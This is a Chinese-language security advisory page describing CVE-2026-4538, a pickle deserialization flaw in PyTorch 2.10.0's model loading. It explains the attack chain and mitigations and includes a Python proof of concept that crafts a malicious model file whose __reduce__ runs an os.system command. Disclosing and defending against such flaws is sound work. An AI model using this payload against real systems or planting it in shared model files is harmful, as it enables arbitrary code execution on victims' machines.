IPBUF安全漏洞报告
English
CVE-2026-4538 CVSS 5.3 中危

CVE-2026-4538 PyTorch pt2加载处理程序反序列化漏洞

披露日期: 2026-03-22

漏洞信息

漏洞编号
CVE-2026-4538
漏洞类型
反序列化漏洞
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
PyTorch

相关标签

反序列化PyTorch代码执行本地漏洞CVE-2026-4538

漏洞概述

PyTorch 2.10.0版本中的pt2加载处理程序组件存在不安全的反序列化漏洞。攻击者可利用该漏洞,在本地无需交互的情况下,通过构造恶意的序列化数据触发反序列化过程,从而导致低权限的机密性、完整性和可用性受损。目前该漏洞利用代码已公开,官方尚未修复。

技术细节

该漏洞的核心在于PyTorch 2.10.0版本中`pt2 Loading Handler`组件存在的不安全反序列化缺陷。PyTorch框架在加载模型权重和状态字典时,通常使用`torch.load`函数,该函数底层依赖于Python的`pickle`模块进行对象的序列化与反序列化操作。由于`pickle`机制本身不安全,它在反序列化数据时会自动调用对象中定义的魔术方法(如`__reduce__`),这允许攻击者在这些方法中嵌入任意操作系统命令或恶意Python代码。

在此次漏洞中,攻击者首先需要构造一个特制的恶意模型文件(如`.pt`或`.pth`文件),该文件中包含经过精心设计的序列化对象,对象内部封装了旨在执行恶意操作的回调函数。随后,攻击者需要在本地环境中诱导受害者或自动化脚本使用受影响的PyTorch版本加载此恶意文件。一旦加载过程开始,`pt2 Loading Handler`会解析文件内容并触发反序列化操作,进而执行攻击者预设的代码。由于CVSS向量显示攻击需在本地进行且需低权限,攻击者通常利用社会工程学手段诱导开发者加载模型,或在共享存储环境中替换合法模型文件。虽然当前CVSS评分为5.3(中危),但在开发环境中,此类漏洞可导致开发环境被完全入侵,进而威胁供应链安全。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标环境正在使用PyTorch 2.10.0版本,并确认存在pt2 Loading Handler组件的使用场景。
STEP 2
2. 武器化
攻击者编写Python脚本,构造包含恶意`__reduce__`方法的类,并将其序列化为伪造的模型文件(.pt或.pth)。
STEP 3
3. 投递
攻击者通过共享文件夹、代码仓库提交或社会工程学手段,将伪造的模型文件放置在受害者可访问的本地路径。
STEP 4
4. 利用
受害者或系统进程在本地使用`torch.load`函数加载该恶意模型文件。
STEP 5
5. 执行
PyTorch的pt2加载处理程序对文件进行反序列化,触发恶意代码执行,导致系统受到破坏或信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os import torch # PoC for CVE-2026-4538: PyTorch Unsafe Deserialization # Define a malicious class that executes a command when deserialized class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file as proof) # In a real attack, this could be a reverse shell return (os.system, ('echo "CVE-2026-4538 Exploited" > /tmp/pwned.txt',)) # Create the malicious object malicious_data = MaliciousPayload() # Save the object to a file (simulating a poisoned model) print("[*] Generating malicious model file: exploit_model.pt") with open("exploit_model.pt", "wb") as f: pickle.dump(malicious_data, f) print("[+] File created. Victim loading this file will trigger the payload.") # Simulation of victim loading the model print("[*] Victim executing: torch.load('exploit_model.pt')") try: # torch.load internally uses pickle and triggers __reduce__ torch.load("exploit_model.pt") print("[-] Exploit executed successfully.") except Exception as e: print(f"[!] Error: {e}")

影响范围

PyTorch 2.10.0

防御指南

临时缓解措施
在未升级补丁前,开发者应严格检查加载的模型文件来源,不要直接使用`torch.load`加载不可信文件。建议使用`zipfile`模块检查`.pt`文件结构,或使用第三方工具(如`pickle`安全检查器)分析文件内容。此外,限制运行PyTorch脚本的用户权限,遵循最小权限原则,以减少潜在代码执行带来的影响。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表